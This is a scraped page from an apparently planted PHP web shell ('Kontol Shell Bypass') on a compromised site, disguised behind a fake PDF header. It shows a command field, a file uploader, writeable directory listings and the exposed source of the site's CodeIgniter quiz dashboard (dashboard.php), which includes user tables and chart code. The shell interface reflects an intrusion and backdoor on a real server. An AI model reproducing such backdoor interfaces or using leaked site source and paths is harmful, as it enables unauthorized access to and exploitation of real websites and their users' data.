%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/chalkbank.com/application/views/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/chalkbank.com/application/views/dashboard.php
<div class="main-wapper">
<div class="container-fluid">
<div class="row">
<?php 
$md='3';
$logged_in=$this->session->userdata('logged_in');
?>
<div class="col-md-<?=$md?>">
	<div class="panel panel-danger">
		<div class="panel-heading">
			<div class="row">
				<div class="col-xs-3">
					<i class="fa fa-users fa-5x"></i>
				</div>
				<div class="col-xs-9 text-right">
					<div class="huge" style="color:green;" id="num_active_user"><?php echo $num_active_user;?></div>
					<div><?php echo $this->lang->line('active_user');?> </div>
				</div>
			</div>
		</div>
		<a href="<?php echo site_url('user/active');?>">
			<div class="panel-footer">
				<span class="pull-left"><?php echo $this->lang->line('active_user');?> <?php echo $this->lang->line('list');?></span>
				<span class="pull-right"><i class="fa fa-arrow-circle-right"></i></span>
				<div class="clearfix"></div>
			</div>
		</a>
	</div>
</div>

<div class="col-md-<?=$md?>">
	<div class="panel panel-info">
		<div class="panel-heading">
			<div class="row">
				<div class="col-xs-3">
					<i class="fa fa-users fa-5x"></i>
				</div>
				<div class="col-xs-9 text-right">
					<div class="huge"><?php echo $num_users;?></div>
					<div><?php echo $this->lang->line('no_registered_user');?> </div>
				</div>
			</div>
		</div>
		<a href="<?php echo site_url('user');?>">
			<div class="panel-footer">
				<span class="pull-left"><?php echo $this->lang->line('users');?> <?php echo $this->lang->line('list');?></span>
				<span class="pull-right"><i class="fa fa-arrow-circle-right"></i></span>
				<div class="clearfix"></div>
			</div>
		</a>
	</div>
</div>
<div class="col-md-<?=$md?>">
	<div class="panel panel-success">
		<div class="panel-heading">
			<div class="row">
				<div class="col-xs-3">
					<i class="fa fa-users fa-5x"></i>
				</div>
				<div class="col-xs-9 text-right">
					<div class="huge"><?php echo $num_quiz;?></div>
					<div><?php echo $this->lang->line('no_registered_quiz');?> </div>
				</div>
			</div>
		</div>
		<a href="<?php echo site_url('quiz');?>">
			<div class="panel-footer">
				<span class="pull-left"><?php echo $this->lang->line('quiz');?> <?php echo $this->lang->line('list');?></span>
				<span class="pull-right"><i class="fa fa-arrow-circle-right"></i></span>
				<div class="clearfix"></div>
			</div>
		</a>
	</div>
</div>

<div class="col-md-<?=$md?>">
	<div class="panel panel-warning">
		<div class="panel-heading">
			<div class="row">
				<div class="col-xs-3">
					<i class="fa fa-question-circle fa-5x"></i>
				</div>
				<div class="col-xs-9 text-right">
					<div class="huge"><?php echo $num_qbank;?></div>
					<div><?php echo $this->lang->line('no_questions_qbank');?></div>
				</div>
			</div>
		</div>
		<a href="<?php echo site_url('qbank');?>">
			<div class="panel-footer">
				<span class="pull-left"><?php echo $this->lang->line('qbank');?></span>
				<span class="pull-right"><i class="fa fa-arrow-circle-right"></i></span>
				<div class="clearfix"></div>
			</div>
		</a>
	</div>
</div>

<?php /*
	$dashboardArray = array();
	foreach($dashboard_data as $srow) {
		$total = 0;
		if($srow['total']>0) { $total = $srow['total']; }
		$dashboardArray[$srow['quiz_name']][$srow['result_status']] = $total;
	} 
	
?>
	
<hr><br> 
<h4>Level 9 <?php echo $this->lang->line('result').'s';?></h4>
<hr><br>
<div class="main-chart">
			<div class="wrapper">
				<div class="col-sm-3"> <div id="chartContainermath" style="height: 300px; width: 100%; margin-bottom:40px;"> </div></div>
				<div class="col-sm-3"> <div id="chartContainerphysics" style="height: 300px; width: 100%; margin-bottom:40px;"> </div></div>
				<div class="col-sm-3"> <div id="chartContainerbiology" style="height: 300px; width: 100%; margin-bottom:40px;"> </div></div>
				<div class="col-sm-3"> <div id="chartContainerchemistry" style="height: 300px; width: 100%; margin-bottom:40px;"> </div></div>
		</div>
			
		</div> <hr><br> 
<h4>Level 10 <?php echo $this->lang->line('result').'s';?></h4>
<hr><br>
<div class="main-chart">
			<div class="wrapper">
				<div class="col-sm-3"> <div id="chartContainermath_l10" style="height: 300px; width: 100%; margin-bottom:40px;"> </div></div>
				<div class="col-sm-3"> <div id="chartContainerphysics_l10" style="height: 300px; width: 100%; margin-bottom:40px;"> </div></div>
				<div class="col-sm-3"> <div id="chartContainerbiology_l10" style="height: 300px; width: 100%; margin-bottom:40px;"> </div></div>
				<div class="col-sm-3"> <div id="chartContainerchemistry_l10" style="height: 300px; width: 100%; margin-bottom:40px;"> </div></div>
		</div>
			
</div>
<?php if($dashboardArray['Physics Level 11']['Open']>0 && $dashboardArray['Physics Level 11']['Pass']>0 && $dashboardArray['Physics Level 11']['Fail']>0) { ?>
<hr><br> 
<h4>Level 11 <?php echo $this->lang->line('result').'s';?></h4>
<hr><br>
<div class="main-chart">
			<div class="wrapper">
				<div class="col-sm-3"> <div id="chartContainermath_l11" style="height: 300px; width: 100%; margin-bottom:40px;"> </div></div>
				<div class="col-sm-3"> <div id="chartContainerphysics_l11" style="height: 300px; width: 100%; margin-bottom:40px;"> </div></div>
				<div class="col-sm-3"> <div id="chartContainerbiology_l11" style="height: 300px; width: 100%; margin-bottom:40px;"> </div></div>
				<div class="col-sm-3"> <div id="chartContainerchemistry_l11" style="height: 300px; width: 100%; margin-bottom:40px;"> </div></div>
		</div>
			
</div> 
<?php } ?>
		
<div class="col-md-12">
<hr><br> 
<h4>Overall <?php echo $this->lang->line('result').'s';?></h4>

 <table class="table table-bordered">
    <thead>
      <tr>
		<th>&nbsp;</th>
        <th>Math</th>
        <th>Physics</th>
        <th>Biology</th>
        <th>Chemistry </th>
      </tr>
    </thead>
    <tbody>
      <tr class="info">
	   <td>Level 9</td>
        <td><table class="table table-bordered">
		<tr>
		<th>Pass</th>
        <th>Fail</th>
        <th>In Progress</th>
        <th>Total</th>
		</tr>
		<tr class="warning">
			<td><?=$dashboardArray['Math Level 9']['Pass']?></td><td><?=$dashboardArray['Math Level 9']['Fail']?></td><td><?=$dashboardArray['Math Level 9']['Open']?></td><td><?php echo ($dashboardArray['Math Level 9']['Pass']+$dashboardArray['Math Level 9']['Open']+$dashboardArray['Math Level 9']['Fail']);?></td>
		</tr>
		</table></td>
        <td><table class="table table-bordered">
		<tr>
		<th>Pass</th>
        <th>Fail</th>
        <th>In Progress</th>
        <th>Total</th>
		</tr>
		<tr class="warning">
			<td><?=$dashboardArray['Physics Level 9']['Pass']?></td><td><?=$dashboardArray['Physics Level 9']['Fail']?></td><td><?=$dashboardArray['Physics Level 9']['Open']?></td><td><?php echo ($dashboardArray['Physics Level 9']['Pass']+$dashboardArray['Physics Level 9']['Open']+$dashboardArray['Physics Level 9']['Fail']);?></td>
		</tr>
		</table></td>
        <td><table class="table table-bordered">
		<tr>
		<th>Pass</th>
        <th>Fail</th>
        <th>In Progress</th>
        <th>Total</th>
		</tr>
		<tr class="warning">
			<td><?=$dashboardArray['Biology Level 9']['Pass']?></td><td><?=$dashboardArray['Biology Level 9']['Fail']?></td><td><?=$dashboardArray['Biology Level 9']['Open']?></td><td><?php echo ($dashboardArray['Biology Level 9']['Pass']+$dashboardArray['Biology Level 9']['Open']+$dashboardArray['Biology Level 9']['Fail']);?></td>
		</tr>
		
		</table></td>
		<td><table class="table table-bordered">
		<tr>
		<th>Pass</th>
        <th>Fail</th>
        <th>In Progress</th>
        <th>Total</th>
		</tr>
		<tr class="warning">
			<td><?=$dashboardArray['Chemistry Level 9']['Pass']?></td><td><?=$dashboardArray['Chemistry Level 9']['Fail']?></td><td><?=$dashboardArray['Chemistry Level 9']['Open']?></td><td><?php echo ($dashboardArray['Chemistry Level 9']['Pass']+$dashboardArray['Chemistry Level 9']['Open']+$dashboardArray['Chemistry Level 9']['Fail']);?></td>
		</tr>
		</table></td>
      </tr>
      <tr class="info">
	  <td>Level 10</td>
        <td><table class="table table-bordered">
		<tr class="warning">
			<td><?=$dashboardArray['Math Level 10']['Pass']?></td><td><?=$dashboardArray['Math Level 10']['Fail']?></td><td><?=$dashboardArray['Math Level 10']['Open']?></td><td><?php echo ($dashboardArray['Math Level 10']['Pass']+$dashboardArray['Math Level 10']['Open']+$dashboardArray['Math Level 10']['Fail']);?></td>
		</tr>
		</table></td>
        <td><table class="table table-bordered">
		<tr class="warning">
			<td><?=$dashboardArray['Physics Level 10']['Pass']!='' ? $dashboardArray['Physics Level 10']['Pass'] : '0'?></td><td><?=$dashboardArray['Physics Level 10']['Fail']!='' ? $dashboardArray['Physics Level 10']['Fail'] : '0'?></td><td><?=$dashboardArray['Physics Level 10']['Open']!='' ? $dashboardArray['Physics Level 10']['Open'] : '0'?></td><td><?php echo ($dashboardArray['Physics Level 10']['Pass']+$dashboardArray['Physics Level 10']['Open']+$dashboardArray['Physics Level 10']['Fail']);?></td>
		</tr>
		</table></td>
        <td><table class="table table-bordered">
		<tr class="warning">
			<td><?=$dashboardArray['Biology Level 10']['Pass']!=''? $dashboardArray['Biology Level 10']['Pass']: '0'?></td><td><?=$dashboardArray['Biology Level 10']['Fail']!='' ? $dashboardArray['Biology Level 10']['Fail'] : '0'?></td><td><?=$dashboardArray['Biology Level 10']['Open']!='' ? $dashboardArray['Biology Level 10']['Open'] : '0'?></td><td><?php echo ($dashboardArray['Biology Level 10']['Pass']+$dashboardArray['Biology Level 10']['Open']+$dashboardArray['Biology Level 10']['Fail']);?></td>
		</tr>
		</table></td>
        <td><table class="table table-bordered">
		<tr class="warning">
			<td><?=$dashboardArray['Chemistry Level 10']['Pass']!='' ? $dashboardArray['Chemistry Level 10']['Pass'] : '0'?></td><td><?=$dashboardArray['Chemistry Level 10']['Fail']!='' ? $dashboardArray['Chemistry Level 10']['Fail'] : '0'?></td><td><?=$dashboardArray['Chemistry Level 10']['Open']!='' ? $dashboardArray['Chemistry Level 10']['Open'] : '0'?></td><td><?php echo ($dashboardArray['Chemistry Level 10']['Pass']+$dashboardArray['Chemistry Level 10']['Open']+$dashboardArray['Chemistry Level 10']['Fail']);?></td>
		</tr>
		</table></td>
      </tr>
      <tr class="info">
	  <td>Level 11</td>
        <td><table class="table table-bordered">
		<tr class="warning">
			<td><?=$dashboardArray['Math Level 11']['Pass']!='' ? $dashboardArray['Math Level 11']['Pass'] : '0'?></td><td><?=$dashboardArray['Math Level 11']['Fail']!='' ? $dashboardArray['Math Level 11']['Fail'] : '0'?></td><td><?=$dashboardArray['Math Level 11']['Open']!='' ? $dashboardArray['Math Level 11']['Open'] : '0'?></td><td><?php echo ($dashboardArray['Math Level 11']['Pass']+$dashboardArray['Math Level 11']['Open']+$dashboardArray['Math Level 11']['Fail']);?></td>
		</tr>
		</table></td>
        <td><table class="table table-bordered">
		<tr class="warning">
			<td><?=$dashboardArray['Physics Level 11']['Pass']!='' ? $dashboardArray['Physics Level 11']['Pass'] : '0'?></td><td><?=$dashboardArray['Physics Level 11']['Fail']!='' ? $dashboardArray['Physics Level 11']['Fail'] : '0'?></td><td><?=$dashboardArray['Physics Level 11']['Open']!='' ? $dashboardArray['Physics Level 11']['Open'] : '0'?></td><td><?php echo ($dashboardArray['Physics Level 11']['Pass']+$dashboardArray['Physics Level 11']['Open']+$dashboardArray['Physics Level 11']['Fail']);?></td>
		</tr>
		</table></td>
        <td><table class="table table-bordered">
		<tr class="warning">
			<td><?=$dashboardArray['Biology Level 11']['Pass']!='' ? $dashboardArray['Biology Level 11']['Pass'] : '0'?></td><td><?=$dashboardArray['Biology Level 11']['Fail']!='' ? $dashboardArray['Biology Level 11']['Fail'] : '0'?></td><td><?=$dashboardArray['Biology Level 11']['Open']!='' ? $dashboardArray['Biology Level 11']['Open'] : '0'?></td><td><?php echo ($dashboardArray['Biology Level 11']['Pass']+$dashboardArray['Biology Level 11']['Open']+$dashboardArray['Biology Level 11']['Fail']);?></td>
		</tr>
		</table></td>
        <td><table class="table table-bordered">
		<tr class="warning">
			<td><?=$dashboardArray['Chemistry Level 11']['Pass']!='' ? $dashboardArray['Chemistry Level 11']['Pass']:'0' ?></td><td><?=$dashboardArray['Chemistry Level 11']['Fail']!='' ? $dashboardArray['Chemistry Level 11']['Fail'] : '0' ?></td><td><?=$dashboardArray['Chemistry Level 11']['Open']!='' ? $dashboardArray['Chemistry Level 11']['Open'] : '0'?></td><td><?php echo ($dashboardArray['Chemistry Level 11']['Pass']+$dashboardArray['Chemistry Level 11']['Open']+$dashboardArray['Chemistry Level 11']['Fail']);?></td>
		</tr>
		</table></td>
      </tr>
    </tbody>
  </table>
</div> 
</div>
<?php */ ?>

<div class="container">
<div class="outer-container">
<div class="row">
<div class="col-md-12">
<?php 
$registrationArry = array();
$participationArry = array();
foreach($quiz_data as $qrow) {
	$rtotal = $total_registration[$qrow['quid']]['total']>0 ? $total_registration[$qrow['quid']]['total'] : 0;
	$ptotal = $total_participation[$qrow['quid']]['total']>0 ? $total_participation[$qrow['quid']]['total'] : 0;
	if($rtotal>0){
		$dataPoints1[] = array("label"=>$qrow['quiz_name'], "y"=> $rtotal);
		$dataPoints2[] = array("label"=>$qrow['quiz_name'], "y"=> $ptotal); 
	}
} 

?>
<script>
window.onload = function () {
 
var chart = new CanvasJS.Chart("chartContainer", {
	animationEnabled: true,
	theme: "light2",
	title:{
		text: ""
	},
	axisY:{
		includeZero: true
	},
	legend:{
		cursor: "pointer",
		verticalAlign: "center",
		horizontalAlign: "right"
		//itemclick: toggleDataSeries
	},
	data: [{
		type: "column",
		name: "Registration",
		indexLabel: "{y}",
		yValueFormatString: "#0.##",
		//showInLegend: true,
		dataPoints: <?php echo json_encode($dataPoints1, JSON_NUMERIC_CHECK); ?>
	},{
		type: "column",
		name: "Total Participation",
		indexLabel: "{y}",
		yValueFormatString: "#0.##",
		//showInLegend: true,
		dataPoints: <?php echo json_encode($dataPoints2, JSON_NUMERIC_CHECK); ?>
	}]
});
chart.render();
 
function toggleDataSeries(e){
	if (typeof(e.dataSeries.visible) === "undefined" || e.dataSeries.visible) {
		e.dataSeries.visible = false;
	}
	else{
		e.dataSeries.visible = true;
	}
	chart.render();
}
 
}
</script>
</script>
<div class="canvas-chart">
	<h3 style="display:block; text-align:center;"><?php echo $this->lang->line('quiz_report');?></h3>
    <br /><br />
     <div id="chartContainer" style="height: 500px; width: 100%;"></div>
     </div>
		<script src="<?=base_url('js/canvasjs.min.js') ?>" ></script>
    </div>
</div>
</div>

</div>
</div>
</div>
</div>
<div class="main-wapper-inner main-wapper-inner1">
 <div class="top-menus">
 <div class="container-fluid">
   <div class="row">
	   <div class="col-lg-12">
			<h3><?php echo $this->lang->line('recently_registered');?></h3>
	   </div><!-- /input-group -->
	</div>
  </div><!-- /.col-lg-6 -->
</div>
<div class="home-inners">
 <div class="container-fluid">
	<div class="row"> 
		<div class="col-md-12">
			<div class="table-responsice">
				<table class="table table-bordered" >
					<tr>
					<th>#</th>
					 <th><?php echo $this->lang->line('user_name');?></th>
					<th><?php echo $this->lang->line('full_first_name');?></th>
					<th><?php echo $this->lang->line('group_name');?> </th>
					<th><?php echo $this->lang->line('contact_no');?> </th>
					</tr>
					<?php 
					if(count($result)==0){
						?>
					<tr>
					 <td colspan="3"><?php echo $this->lang->line('no_record_found');?></td>
					</tr>	
						
						
						<?php
					}
					$k=1;
					foreach($result as $key => $val){
					?>
					<tr>
					<td><?=$k?></td>
					 <td><?php echo $val['email'];?></td>
					<td><?php echo $val['first_name'];?> <?php echo $val['last_name'];?></td>
					 <td><?php echo $val['group_name'];?></td>
					<td><?php echo $val['contact_no'];?></td>
					</tr>

					<?php $k++;
					}
					?>
				</table>
			</div>
		</div>
	</div>
</div>
</div>
</div>
<script>
//Call the yourAjaxCall() function every 1000 millisecond
setInterval("yourAjaxCall()",10000);
function yourAjaxCall(){
	 $.ajax({
                url: '<?=base_url("dashboard/activeusercount")?>',
                method: 'post',
                data: {
					status: 'ON'
				}
            }).done(function (response) {
                $("#num_active_user").val('');
                $("#num_active_user").html( response);
                return false;
            });
	
	
}

$(window).load(function(){ 
  $('.canvasjs-chart-canvas').each(function(){
    $(this).css('font-size','8px !important');
    $(this).css('font-weight','normal  !important');
  });
});
</script>

Kontol Shell Bypass